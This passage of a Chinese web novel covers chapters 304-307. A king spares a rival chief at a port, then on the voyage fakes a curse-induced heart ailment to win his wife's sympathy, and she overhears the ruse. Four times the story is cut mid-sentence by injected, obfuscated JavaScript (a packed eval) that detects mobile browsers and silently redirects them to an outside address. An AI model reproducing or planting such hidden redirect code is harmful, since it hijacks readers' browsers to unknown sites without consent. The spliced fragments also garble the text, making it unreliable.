次日,九泽台前停了许多马车,还有大几十骑的轻甲卫,引得百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963169|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们纷纷驻足观看。 他们听说了,这些人是海那边的夷越人,是他们大夏的贵客,此次前来是为商谈两国商贸。看这个情状,应是商谈结束准备归去了。 因着要行一段陆路才到港口城,江念只作轻简装扮。 云娘和江念路上做伴乘同一辆马车,苏和腿脚不便,单独乘一辆马车,呼延吉和江轲骑马行于队伍前。 魏秋亲自率了一队人马从旁护送。 浩浩荡荡一群人往港口城驶去,途中又走了许多时日,终是到了。 车马停当,港口处已事先做了人员清理,没有嘈杂往来的人群,连码头的货物也垒得整整齐齐,近岸处泊着几艘大船。 隐隐可见上面有人走动,那几艘大船便是夷越的海船,船上留守着上百的兵将,海船并不靠岸。 魏秋翻身下马,走到呼延吉和江轲面前,先朝呼延吉施了一礼:“贵人此次前来大夏,若有招待不周之处,还请见谅。” 因夷越王微行,是以魏秋敬称呼延吉为“贵人”。 呼延吉颔首道:“魏王客气,两国共商大势,探讨经济福祉,既是顺应天意亦是应承民心。” 这时,江轲说道:“魏王日后可到我们境土来,届时我作东道,带你赏玩京都城。” 魏秋笑着应下,本是一句客套话,所以没太当真,他的任务完成了,人已安然送抵,于是带着人马辞别而去。 待魏秋等一行人走后,呼延吉让人把江念等人送上海船,自己同江轲却留于岸上。 此时二人的面色都有些冷肃。 “那封书信送去了?”呼延吉问道。 江轲点头道:“按你说的,专派人送了过去,算着时间再有个三两日人就到。” 呼延吉“嗯”了一声。 …… 江念上了海船,没过一会儿海船拔锚离港,左右几艘海船随行。 秋水并几个丫鬟把房间重新理过,熏了香,一切妥当后,出到廊上,就要请江念进屋休息,行了一路,也有些累了。 “娘子,屋子整理好了。”秋水说道。 江念并没回应,往甲板上看了一圈,没见到呼延吉和江轲的身影,先开始她以为他二人在别的屋室议事,可自打离港到现在也有些时候了,依旧不见他二人。 忽然见甲板上行过一人,正是呼延吉的随身小厮,丑奴,在京都之时没见着他,应一直留守海船上。 “去把那个奴儿叫来。”江念吩咐道。 秋水应下,快速下了楼阶,走到丑奴身后叫了一声:“小奴儿。” 丑奴听到声音转过头,发现是一个脸颊带疤的丫鬟,指了指自己:“叫我?” 秋水点头道:“对,就是叫你,随我去上面,我家娘子要见你。” 丑奴神色一转,抬头往上看去,唬得差点跳起,不待秋水再说,已三两步往楼上奔去。 一径跑到江念面前,先叩拜大礼:“终是见到大妃了,小的们的苦日子终于熬出头了……” 第304章 把命留下 江念本想问丑奴话的,见他声泪俱下竟有一点点喜感,一边的秋水掩嘴笑起来。 “你先起身,好好说话,怎么找到我后你们的苦日子就到头了?”江念转身往屋里走去。 丑奴起身,随在身后。 待江念坐下,丑奴这才说道:“大妃不在的时日,大王脾气像天一样大,他一生气,咱们大气也不敢出,以前还有大妃替小的们说好话儿,大妃不在王庭,奴才们只能听天由命。” 江念微笑道:“合着我是你们的护身符了?” 丑奴挠了挠头:“大妃就是奴才们的保命菩萨,都盼着您好好的,不,不,求神佛都没求您管用。” 江念笑着摇了摇头,转过话头,问道:“大王呢?” 丑奴是呼延吉的贴身侍从,呼延吉登了船丑奴一定会随侍在侧。 “小的一直在船上,大王并未上船。”丑奴说着,接而又道,“不过适才有人告知小的,待船离港后在近海停下。” 正说着,外面来了一人,报到江念面前,说是君王交代让他们先行,他同小国舅随后赶来。 “大王没说什么事?”江念担心道。 那人回说道:“应是商贸事宜出了些变故,待谈妥后王会赶来。” “行了,你们下去罢。” 待人退去后,江念有些累了,在秋水的服侍下躺下。 …… 三日后,烈真率人到了港口城,周围的百姓见状纷纷避让开。 烈真勒住马头看向对面,在他的对面,也是一群人。 在大夏人眼中,这两拨人皆是异族人。 “人呢?” 烈真问道,他的对面是本该登船归去的夷越人,这群人中,那个刀疤护卫勒马居于正中,而那个夷越小国舅反**在一边。 烈真睛目不转睛地盯着中间那人,终于开口道:“呼延吉?” 呼延吉并不回答,而是说道:“饯行宴上你不是说要比试么?我特地留下奉陪,输了把命留下如何?输不输得起?” 两人皆不废话。 烈真从腰间抽出长刀,呼延吉从旁接过长戟。 烈真并不是呼延吉的对手,哪怕他出全力,仍是招架不出呼延吉的招式。 两人体格差不多,可内劲却相去甚远,呼延吉每击下一招,都能把烈真刚聚起的劲力敲碎。 就在烈真重凝招式前,呼延吉根本不给时间,长戟已破空刺来。 烈真手脚一乱便露出破绽,不过几十回合被呼延吉击**下。 呼延吉是真要杀他,他并不惧一个乌塔族族领,先前全看在魏家兄弟的情面,且两国又正在商洽经济事宜,不好闹僵,面对烈真的挑衅这才一直隐忍。 他并非一味不讲情理,反正也寻到人了,退一步罢,不去计较了。 谁知,这里面还有一茬阴私,这些人竟敢联合起来给他妻子下药!使那等下作手段轻辱于她。 他要还能忍,连男人都算不上。 呼延吉倒持方戟,飞身下马,眼看那戟就要扎进烈真胸腔,却被一人拦下,拦下呼延吉之人不是别人正是江轲。 “阿吉!不可!” 江轲原以为呼延吉就是教训一下烈真,敢欺辱他姐,他也想教训这人,可未曾想过取烈真性命。 烈真好歹是一族之长,同魏家兄弟又有过命的交情,杀不得。 夷越才经战事不久,正是休养生息的时候,又同大夏通好,照这样发展,夷越会越来越强盛,百姓生活也会越来越好,这样好的形势,万不能因为一个烈真毁了。 “阿吉……”江轲全力控住戟柄,低声道,“你听我说,事已发生,你再怒也无用,以大局为重。” 虽然江轲声音低着,离他不远的烈真却听到了,前后一想便想明白呼延吉暴怒的原因。 不知出于什么心理,或是为了报复的快意,或是故意恶心,说道:“她的腰很软,那滋味当真让人难忘,软款着声儿求我轻些,特别是情动之时,很特别……” 烈真说完哈哈大笑起来。 这一下江轲也不拦了,不用呼延吉动手,他都要杀了烈真。 不过烈真命不该绝,这个时候魏秋来了,原来他辞了呼延吉后并未离去,只因他兄长交代让他在港口城多留置几日。 他原还觉着皇兄过于谨慎,想不到真出事了。 魏秋屏退左右,地方空了出来,只呼延吉、江轲还有烈真。 “还请夷越王看在我皇兄的面上,看在大夏国的面上手下留情。” 魏秋知道呼延吉态度大变肯定是误会了,再加上刚才烈真的话,他断续听到一点,也不知该如何解说。 这种事情,事关女子清白本就不好言语,且私密之事,只有当事人清楚,旁人只会越说越复杂,反有欲盖弥彰之嫌。 呼延吉紧紧盯着魏秋身后的烈真,魏秋挡在烈真身前亦是全身紧绷,若呼延吉今日要取烈真性命,他拦不住。 正在这时,江轲走到呼延吉身侧,附耳道:“捺下,他妹子在咱们手里,待回了夷越诱他到咱们地界,届时再动手不迟。” 呼延吉垂下眼,复又抬起,不过一瞬,换了态度:“既然魏王出面求情,不看僧面看佛面,饶他一条命。” 魏秋听罢刚吁了一口气,就听烈真从后低声道:“他们把阿丽娜绑走了。” 魏秋气了个仰倒,回说道:“他们绑了阿丽娜,你刚才还敢那样激怒他。” 烈真也是为了逞口舌之快,可是说出的话也收不回。 魏秋准备再说,却听呼延吉说道:“魏王,求情的话说一遍即可,两遍就不管用了,开口前好好思量。” 魏秋不再言语,他也不想管了,本身就是阿丽娜那丫头惹的祸,该她自己尝些教训。 烈真没料到最后被呼延吉反将一军,竟趁人不备把阿丽娜掳走,想来早就计划好的,在他们动身的前几日就把人运走了。 他还道怎的好几日没见着那丫头。 “你要如何才肯把人放了?”烈真问道。 呼延吉冷笑的嘴角陡然一沉:“礼尚往来,你刚才不是挺嚣张的么,你有什么资格同我谈条件,想让你小妹回?端看我心情。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970793|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>说罢,一挥手,带着被隔开的一众夷越侍卫登船而去。 待人走后,烈真锁着眉,半天化不开,魏秋拍了拍他的肩膀学着呼延吉的腔调:“你刚才不是挺嚣张的么,想让阿丽娜回,端看他的心情。” 烈真气喝道:“要你在这儿给我重复他的话。” 魏秋也气了:“我在帮你说话,你还恼了?” “你帮我说话?那刚才他让你好好思量时,你怎的连个屁也不放?”烈真声音一大就扯着胸口疼,那里受了呼延吉一拳。 “你不也一个屁没放吗?你敢放?”魏秋平下火气,缓了缓,说道,“这不怪人家,错在你,你抢了人家的妻子,还不嫌事大的激怒他,他算好的了,看在我皇兄的面上愣是把杀你的心强压下来。” 魏秋会把这里发生的事一五一十向他皇兄报知,毕竟呼延吉看在他兄弟二人的面子才罢的手。 “那接下来该怎么办?”烈真问道。 魏秋一面招手让侍卫牵过马,一面说道:“以你乌塔的名义送些宝物去夷越,就算换不回阿丽娜,也能让她在那边好过些。” 烈真想了想,眼下只能如此,不知不觉中他竟被动起来。 …… 江念乘坐的船在海上停了几日一直未再前行,这艘船上除了他们自己人,没有其他的船客,不必像来时那样处处提防。 这日,用过午饭后,江念在甲板转了几圈消食,然后上了三层,准备回房,突然见船上的侍卫和船工们忙碌起来,一面快速跑动着,一面叫喊着什么。 江念双手撑在栏上,微微探出身,往一个方向看去。 就见另一艘大船破浪而来,等到快靠近时,速度缓了下来,最后并靠停下。 接着船上的众人开始搭过舷板,搭舷板时,江念见呼延吉立于一侧正看着她,见她看来,对她扬唇一笑。 舷板搭好,他从那条船上踏着过舷板走到这条船上,才一落地刚站稳脚,便有人围上前报述着什么。 呼延吉一面点头一面抬眼看向第三层,只是那里已没了人影。 “有什么缓会儿再报。”呼延吉不耐烦地摆了摆手,然后上了三楼,进了江念所在的屋室。 床帐半掩着,轻纱帐隐隐透着一个侧躺的人影。 呼延吉走了过去,把外衫宽去,躺到她的身后,把人拉向怀里。 “刚才怎么没一道上船?”江念问道。 呼延吉埋在她的颈间,轻嗅着她身上温软的气息闷声道:“还有些事情没有商办妥当,便让你们先行。” “你又哄我,就是事情没办妥当,让船泊岸等几日便好,何故让我先行?” 呼延吉笑道:“什么都瞒不过你,因那个乌塔首领也赶来了,之前有些事情没谈拢,我不想你见着他,便让你先行。” 江念转过身:“那现在谈好了?” “谈好了。” 江念把脸偎在呼延吉怀里“唔”了一声,一只手环上他的后腰,她很喜欢那里的触感,可以感知到掌下的肌线。 每一条都是力量的流向…… 第305章 巫蛊之术 呼延吉的后腰**念不老实地摩挲着发痒,轻笑出声。 “现在想要么?” 江念怔了怔,抿着嘴捶了他的肩头两下。 呼延吉逗她,戏说道:“打这两下是几个意思,到底是要还是不要?不疼不痒的,要不再使些劲儿?” 江念哪抵得住他的流气,背过身不去理他,呼延吉却凑了上来:“懂了,这是想从后面来?” 江念拿他没办法,转过身双手合着,覆上他的嘴:“还说不说?” 呼延吉弯着眼,摇了摇头。 江念将手拿下,拿下的一瞬间,男人的唇就吻了来。 这一吻由浅到深,呼延吉很会勾到江念的痒处,他对她的身体比她自己更了解。 偏偏在她面红耳热之时,他又故意惩罚似的安静老实了下来,拿指揾了揾她的眼角。 “阿姐,让我靠会儿……” 江念低下头“嗯”了一声,他抱着她,不再说话,慢慢闭眼睡了过去。 船上的生活是无聊的,每日一睁眼就是同一片风景。船上的侍卫们不当值时,也会三五一群私下凑在一起玩闹,因着太无聊,就会没话找话打发时间。 譬如,一人向另几人讲笑话,讲罢后,另几人会说,这个笑话你昨天已经讲过一遍。 轮到另一人讲家长里短时,其他人又会说,这话我们昨天听过。 之后再有人说话就学聪明了,先起个头,然后多问一嘴“这话我讲过没?” 如果大家说没讲过,那么再继续说下去。 当然了,这都是众人私下放松的乐趣,当值之时没人敢松懈,因为他们的大王和王妃在船上,需拿命守护。 苏和的腿医治起来比头一次更难,不过也在渐渐恢复,只是恢复起来很慢。 船上有丫鬟照顾,每日上午会搀扶他到甲板上,稍稍走动。 江念无事也会下到甲板,坐在不远处看着,有时问他几句伤况,苏和给予回应。 “阿和,说不定等下船之时,你就可以正常行走了。”江念一面嗑着瓜子一面说着,像一个无所事事同街坊闲聊的妇人。 苏和拄着拐杖,两只脚可用力了。 “比前些时好太多,那些宫医说只要我好好调养,恢复正常生活不是问题。”苏和笑道。 江念点了点头:“所以你得听医者的话,等到了京都,蹴鞠社还得靠你帮衬,我是不懂的,日后你得替我赚钱。” 苏和抬头迎着光看向江念,因刚才耗力走动额上泌出细汗。 江念见了,忙叫旁边的丫鬟:“快给苏郎君拭汗。” 楼下的小动静被楼上的两个男人看了去。 其中一个赞叹道:“看看,看看,这就是我阿姐,多好的人呐!” 江轲转头看向旁边的呼延吉,见他不说话,拿胳膊杵了杵:“你那是什么脸色。” 呼延吉两条胳膊凭在栏上,自然向下垂着,突然冒出一句:“我倒情愿她坏些。” 江轲知道呼延吉吃味,不过他肯定是护着他亲姐的,于是开解道:“那不一样,这个苏和以前救过我姐,又不是淡如水的交情,咱们做人也得讲些人情味。” 正说着呢,也是天缘凑巧,苏和拄着拐往江念跟前行了两步,谁知浪起,船体不稳,身体往前倒去,江念身体后仰,两人倒在了一处。 呼延吉一脚踩着栏杆,腾起身,双足借力落到甲板,三两步奔过去把江念捞起,一语不发地带她走了。 次日,江念用罢早饭,仍到甲板上信步漫走,其实她出屋室的时间并不多,大多时候在晨间。 只有这会儿的阳光不那么烈,便趁此时透透气,一天中其他的时候,她都窝在屋里,再不就是和云娘相互走动一下。 江念才到甲板没一会儿,苏和也出了屋。 “你说那人是不是故意的?”呼延吉倚在栏杆上问道。 江轲瞥了呼延吉一眼,心道,原来人闲下来都是一个德性。 “什么故意不故意,你多想了。” 呼延吉眼睛直直盯着下面:“我多想?怎的每次阿姐一出屋,他就出来?阿姐不出屋,他也不出屋,我看这小子就是故意。” “你这醋吃得不讲理,前天阿姐没下去,人家还是出来了,只是你没看到而已。”江轲说道。 呼延吉鼻腔哧哧两声。 江轲见他不信,改口道:“你那么在意,怎的不亲自下去,你若去了,我姐眼里只有你,连我都得靠边,他不就自觉离开了?” 呼延吉两手撑着栏杆:“我是什么身份,他是什么身份,不屑同他争,阿姐只是可怜他。” 然而江轲接下来说的一句“我姐当初也是可怜你,才救得你”,叫呼延吉震在当场半天说不出话。 江轲又道:“对女人来说,爱和恨都不算什么,最怕就是女人对一个男人生出同情,那就完了,当初我姐不也是同情你、可怜你才对你好的么,这才让你有了机会。” 话随话间,已说到这里,江轲干脆一并说了:“叫我说啊——这个苏和比那个烈真厉害,别说我阿姐了,就是我一个男的看着也不落忍,妥妥身残志坚的好儿郎,你没见着不止我姐,连云娘还有秋水丫头,包括这船上的其他侍婢们,对着他都是和颜悦色。” 说罢,作了一个总结:“同情二字比爱、恨更危险,这温柔的慈悲叫哪个男子抵得住?你抵得住?” 仿佛为了印证江轲的话,下面突然响起一片笑声,不知苏知说了什么,引得周围一圈女子欢笑起来,当然了,也包括江念。 江轲扬了扬下巴:“我说什么来着,你还端着身份。” 本以为呼延吉会不屑一顾,谁知他说道:“那你说该当如何?” 江轲见他认真了,也一本正经道:“他可怜,你就比他更可怜,届时阿姐肯定顾着你,哪还有工夫管他,只是……” “只是什么?”呼延吉问道。 江轲摇了摇头,嫌弃似的把呼延吉上下打量:“不论是你极尊的身份还是健壮的体格,同‘可怜’两字完全不搭嘎!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970794|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>呼延吉低下眼,看向甲板上拄拐的苏和,又看了一眼江念,不知思索着什么…… …… 江念在甲板上站了一会儿,阳光渐烈时便回了三楼,走到屋室前,见房门紧闭,丑奴守在门外。 “大王在屋里歇息?”江念问道。 “回大妃的话,王说他有些不适,回屋躺一会儿。” 江念轻轻推门而入,就见呼延吉斜躺于榻上。 于是走上前,往帐内探看一眼,见呼延吉一条胳膊搭在额上,没精打采的样子,眼睛虽闭着却并未睡去。 “大王可是哪里不舒服?”江念踢了绣鞋,蜷坐到他的身侧。 呼延吉慢慢睁开眼,声音有些低哑:“无事,就是胸口难受。” “妾身叫宫医来。”江念说着就要下榻,却被呼延吉扯住,“不必去,没用。” 江念心里一紧,就怕呼延吉有什么不好:“宫医来看一看,怎么会没用呢?” 呼延吉勉强笑了一下,像是为了安抚她:“没事的,小问题,躺一会儿就好。” “你睡,我帮你把纱帐打下来。” 呼延吉“唔”着应了。 江念趿鞋下榻,打下半边纱帐,然后轻着手脚退出房屋,将房门闭上,示意丑奴随她走到一边,询问呼延吉的身体情况,问完后见丑奴一副要说不说的样子。 “怎么回事,快说。”江念催促道。 丑奴扑通一声跪下:“大妃饶了小的罢,这事大王不让您知晓。” 江念一听越发觉着事情严重,肃声道:“你只管说与我知道,大王不会怪你,就是怪下来也有我担着,再不说就是大王不责你,我也不饶你。” 丑奴这才说道:“大妃不在王庭的时日,发生了许多变动,王庭许多老人因着年纪到了,放了出去,继而又进了许多新人。” “嗯,接着说。” “新进的宫人中有一名叫千鹤的梁女,她……” “这人怎么了?” “此人心思歹毒,想博得大王宠爱,用巫蛊之术损了大王的贵体。” 江念稍稍一想,又问:“你刚才说她是梁女,既然是梁人又怎会巫蛊之术,这巫蛊之术不是夷越才有的?” “那千鹤虽是梁人,可她背后之人却是夷越人。” “到底是何巫蛊之术,无法解?” 丑奴说道:“小的们也不懂,只知道从她的屋里寻了一个木偶,那木偶上刻着大王的姓名,而且……” “而且什么?” “木偶的胸腔被挖空了。”丑奴说着偷看一眼江念,见她眉心紧着。 “后来那个叫千鹤的被大王下到牢……”丑奴继续说着。 却**念打断,“不说她,你只说有无请人来破解?” 话一说完,江念心道,那巫蛊若得以破解,呼延吉这会儿就不会难受了。 丑奴看了眼屋室的方向:“倒是从民间请了通晓的法师,法师说既然君王的心空了,需找个名字中带心的女子日夜伴在身边,大王便能把心养回……” 第306章 无心之人,活不长…… 江念低眸沉吟,名字里带“心”的女子? “这事原也简单,找个名字带心的女子便好,可大王他不愿旁人近身……”丑奴说道。 “若是一直不管会怎样?” “若是不将心养回,便是无心之人,无心之人……活不长……” 江念狐疑道:“这话可当真?” “小的不敢欺瞒大妃,句句属实。”丑奴背上起了一层汗。 “行了,你去罢。” 丑奴得了话,应声退下。 呼延吉正在床上辗转,听到门扇被推开,赶紧安静躺好,仍保持江念出去时的姿势。 江念行到榻边,倚到他的身侧,拿手轻轻抚上他的胸口,放了一会儿,气嗔道:“大王是不是戏弄妾身?” 呼延吉转头看向她,不明所以:“什么戏弄?” 江念把刚才丑奴的话道了出来:“大王胸口跳得这样有劲儿,怎会是空心?” 其实呼延吉胸腔本来跳得不欢,偏江念的手一覆上,他就有些控制不住,又怕穿帮,跳得更欢脱了。 “那奴才可恶,我不让他说,他怎的还是告诉你了?”呼延吉把话转回,“阿姐不知,非我骗你,只是这心搏得没有规律,时而欢动,时而虚弱,常人哪里会这样,这便是异动。” 江念仍有些不信,认为呼延吉起了顽心,不过呼延吉的任何事,真真假假,江念都会存着紧张之心。 于是将脸贴到他的胸口,偏那心不争气,“扑通扑通”跳得越来越强劲。 呼延吉将她拉到身边:“你一靠近它就跳得欢。” 江念似笑非笑道:“是因为妾身名字里有‘心’字么?” 呼延吉点头道:“是,只要你的心。” “那妾身便伴在大王身边,帮大王养心,让大王长命百岁?” 呼延吉退出一点,往江念脸上看去,认真道:“你也得长命百岁,没了你这颗心,我活不久……” 江念回看向他,她映在他琥珀色的眼底,轻声道:“为了大王,妾身一定活够本。” 次日一早,江轲走了来,同江念、呼延吉一道用早饭,船上有王庭的膳厨,每餐饭食无不精细、多样。 江轲不愿独在房里,是以晨间同他二人一道用朝食。 从他刚才进来,就见呼延吉同昨日大不一样,精神满满。 昨日,二人凭栏闲聊,江轲让呼延吉装乞扮怜,于是扯到巫蛊一事。 “巫蛊?”呼延吉问道。 “你们夷越不是擅长巫蛊么?”江轲不答反问。 呼延吉像看傻子一样看向江轲:“谁告诉你夷越擅长巫蛊的?” “我姐……” 呼延吉噎了一下,点了点头,是了,江念不止一次在他面前提过巫蛊,也不知她为何认为夷越擅巫蛊,八成是看多了杂七杂八的书和戏文。 “夷越不擅巫蛊,没这些玩意儿。”呼延吉说道。 江轲一拍栏杆:“有没有不重要,别人信不信也不重要,重要的是我阿姐信。” 就这么,呼延吉思前想后一盘算,不管荒唐不荒唐,行了这事。 江念朝食吃得不多,用了一些,坐等他二人慢用。待他二人用**后,江念仍往甲板上去散步消食。 “怎么样?我姐是不是可心疼?”江轲问道。 呼延吉点了点头:“差点被拆穿。” 江轲笑道:“只要你咬死不承认,她就拆不穿,放心好了。” 正说着,又听到甲板上的说话声,呼延吉同江轲走出屋室,仍是立在栏后俯瞰着甲板。 就见苏和坐在船阶上,懒散的样子,嘴角挂着笑。 旁边立了几个侍女,江念同云娘也立在不远处,不知他说了什么,引得一圈人轻笑。 苏和从小在市井长大,有着呼延吉同江轲这些锦衣公子所没有的随和与浮浪,这二者在他身上一点不矛盾,反倒为他添色。 再加上他长得也俊,特别是笑时嘴角勾起的弧度,就是女子们爱的那样。 他能很好地拿捏分寸,说出有趣却又不冒犯听者的顽话。 江轲“啧啧”两声:“看看,看看,不是我说,当年若是他先遇着我姐,估计就没你的事了。” 苏和看了一眼江念,再抬眼看向楼上,正巧同呼延吉对上,然后笑着颔首,避开目光。 呼延吉两眼透出审视:“他刚才是不是在挑衅?” 江轲怕呼延吉把苏和丢海里,忙说道:“他怎么敢。” 呼延吉干脆背过身,不去看,静了一会儿,蓦地开口:“你跟我来。”说着往一个房间行去。 江轲不知他要做什么,跟了过去。 两人进到屋里,呼延吉指了指自己:“来,照我胸口打一拳。” 江轲先是一怔,继而道:“你来真的?!” “废话那样多,打!” “你心脉若因此受损当如何?” 呼延吉不屑地看了江轲一眼,这讥讽的一眼叫江轲不再犹豫,先是在呼延吉胸口丈量,举起拳头,使出五成力道击打去。 呼延吉胸腔受了一记,往后退了两步,闷咳起来。 江轲上前问道:“怎么样?” “再来。”呼延吉抬起头,觉着还不够,得让腔息再衰些,这样江念便不会怀疑,他知道她仍是不信的。 江轲心道,对自己这般狠,活该能拢住我姐的心,于是蓄起力道,正待再来一拳,楼阶响起脚步声,赶紧收势闪出屋室。 江念进了屋,就见呼延吉倚桌,面色有些难看。 “怎么脸色这样不好?” 呼延吉不语,这时丑奴敲响房门,带了宫医前来。 宫医给呼处吉把过脉息,说道:“心气亏虚,搏动乏力,属心阳不振之症。” 宫医开了方子,然后出屋嘱咐侍人煎煮汤药。 江念扶着呼延吉坐到床上,体贴地替他除了长靴,使他靠坐床头。他先前说的巫蛊之术,她是不信的,可这会儿见他面色惨白,不像作假。 “胸口还很难受?”江念问道。 “你坐这里,我便好受些。” 江念将手抚到他的胸口,发现那里跳动羸弱,再没有昨日的强劲,这会儿对巫蛊一事渐信起来。 “我挨近些有无觉着好点?” 呼延吉“嗯”了一声。 江念便伴在他的身侧,过了好一会儿,丑奴从厨房端来汤药,江念接过递到呼延吉手里。 “把药喝了。” 呼延吉接过,犹豫了一瞬间:“喝它做什么,你就是我的药,快拿走。” 江念见他不愿喝,又劝不动,只好让丑奴把药端了下去,然后上到榻间,半卧在他的身侧,一手按上他的胸口,轻轻抚转。 呼延吉顿时觉着那一拳头挨得值了。 “它又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976070|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变快了?”江念发现掌下的心跳再一次变快,随着快速的搏动,是渐升的体温 呼延吉点了点头:“所以你看,只要有你在身边,我就什么都好了。” 接下来的几日,江念无时无刻地陪在呼延吉身边。 这日江念同呼延吉对坐于毡毯上,两人衣着随意,中间散着一摊纸牌,江念脸上贴了几张纸条。 两人身后是各自的奴仆,江念身后跪坐着秋水,呼延吉身后跪坐着丑奴。 江念看着手里的牌,拿给秋水看:“咱们这次要一雪前耻!” 秋水用力地点了点头。 丑奴坐在呼延吉的身后,一抬眼看向对面的两人,差点没忍住笑出来,大妃同那个脸上有疤的婢子额上贴满了纸屑,随着呼吸一飘一飘。 窗扇开着,外面是纯粹的蓝天和洁白的云,微湿的海风不时吹进来,吹得纱幔飘飘,书页翻动,一切都是明媚的样子。 秋水脸上虽贴满了纸屑,还不忘给江念倒饮子,丑奴也给呼延吉倒了一杯。 屋里虽然安静,氛围却无比轻松舒逸。 呼延吉把盏端起,仰头喝了,就要出手里的牌,这时房门响起。 秋水起身前去开门,门外站得不是别人,正是云娘。 云娘先是看了秋水的脸,扑哧一笑,又往屋里探望一眼,因有帷屏隔着,只隐隐看到人影。 “大妃可在?” 秋水扒开脸上的纸屑,低声道:“同大王玩牌呢。” 云娘点了点头:“不是什么要紧事,阿和说想商量一下蹴鞠社的事,既然现在不得空,晚些时候再说。” 江念听到云娘的声音,待秋水回屋后问道:“可是有什么事情?” “好像关于蹴鞠社的事。”秋水答道。 江念点了点头,看向呼延吉:“大王可容妾身去下面一趟?” 呼延吉将手里的牌放下,说道:“不许去。” 江念一怔,接着呼延吉倾过身,伸手把她脸上的纸屑一个个扯下:“好了,去罢。” 江念笑着拿起一条纸屑,倒贴在他的脸上:“我去了。” 待江念走后,丑奴不敢抬头,这也就是大王和王妃玩闹的小意趣,但他作为奴才万万不敢目睹君王被轻慢的天颜。 “去把小国舅请来。”呼延吉扯下脸上的纸条。 丑奴应下去了。 不一会儿,江轲来了,呼延吉让他坐,江轲先在屋里看了一圈,问道:“阿姐呢?” “下去了,商量有关蹴鞠社一事。” “苏和叫我姐去的?他怎的不上来,还叫我姐下去?这谱摆得够大。” 呼延吉摆了摆手:“他那瘸腿上得来么?” 江轲点头道:“这倒也是。”说着又转口道,“你胸口好些没,我那一拳可没省力,不过你受这一拳也值了,阿姐多心疼。” 呼延吉没说话,江轲又道:“我说什么来着,我姐就信巫蛊,你一说她就信。” “再往这儿打一拳。”呼延吉指了指胸口。 江轲怔了怔,惊诧道:“至于么,不要命了!” “无事,照这儿打就成。” 呼延吉正说着,隔墙突然传来“笃笃——”的叩响。 呼延吉心里一紧,霍地站起身,“呼啦”一声打开门往外看去,一人正往长廊那边行去,江轲也跟着看去,两眼大瞪,完了,完了…… 第307章 父王不喜欢我 原来刚才江念出了房门并未下楼,而是转身去了隔壁的房间更衣。 因这艘海船没有别人都是自己人,空置的房间多,所以像沐室和更衣处皆是单独的。 就在刚在,呼延吉同江轲两人的谈话**念听了个一清二楚。 “刚走过去的是我姐么?”江轲怕自己眼花看错了。 呼延吉脸色难看:“是她。” “那刚才她叩响木墙是什么意思?”江轲又问。 “告诉我们,她听到了。” 江轲深吸一口气:“我想起来还有事,先回房了。” 说罢就要离开,被呼延吉一把拉住:“你出的馊主意,就想走?” 江轲把胳膊一甩:“馊主意?那你还乐颠颠地让我再打你一拳?诶!你别扯我,我留下来也无用,你刚才说的那些话她都听到了,你摘也摘不干净。” 呼延吉便不说话了。 “你还是想一想待会儿怎么哄罢。”江轲说着一溜烟走了。 …… 苏和因腿脚不便住在一楼,他问了船工,说再过个七八日就到夷越的港口城。 整日在船上也是无事,他的腿脚日渐康复,每日晨间除了在甲板活动,回了房便琢磨蹴鞠社一事,想着快要靠岸,同江念商议一下相关事宜。 按理说,以江念的身份该是他去请见她,不过这会儿境况不同,便让云娘上去告一声。 “阿和,大妃在隔壁的茶房,你去。”秋水透过敞开的窗扇往里说道。 苏和见是秋水,道了一声好,从桌上拿过自己准备的几张稿纸,去了隔壁的茶房。 江念听着苏和有关蹴鞠社的想法和建议,不时**几句话。 “待到了京都,你要不要先把腿脚休养好,再筹划蹴鞠社之事?” 苏和摇了摇头:“并不妨碍,只是我在京都名声不太好。” 江念想了想,说道:“这个就要看你如何处理了。” 苏和“嗯”了一声,机会念娘已经给他了。 两人正说着,秋水走了来躬身到江念身侧:“丑奴求见。” “让他进来。” 丑奴一进到茶屋,便跪到江念跟前,打着哭腔道:“伏乞大妃去看看大王,大王的头疾犯了,疼得厉害又不愿服药,咱们都不敢靠近。” 苏和看了江念一眼,见她面上表情有些异样,于是起身暂先离开。 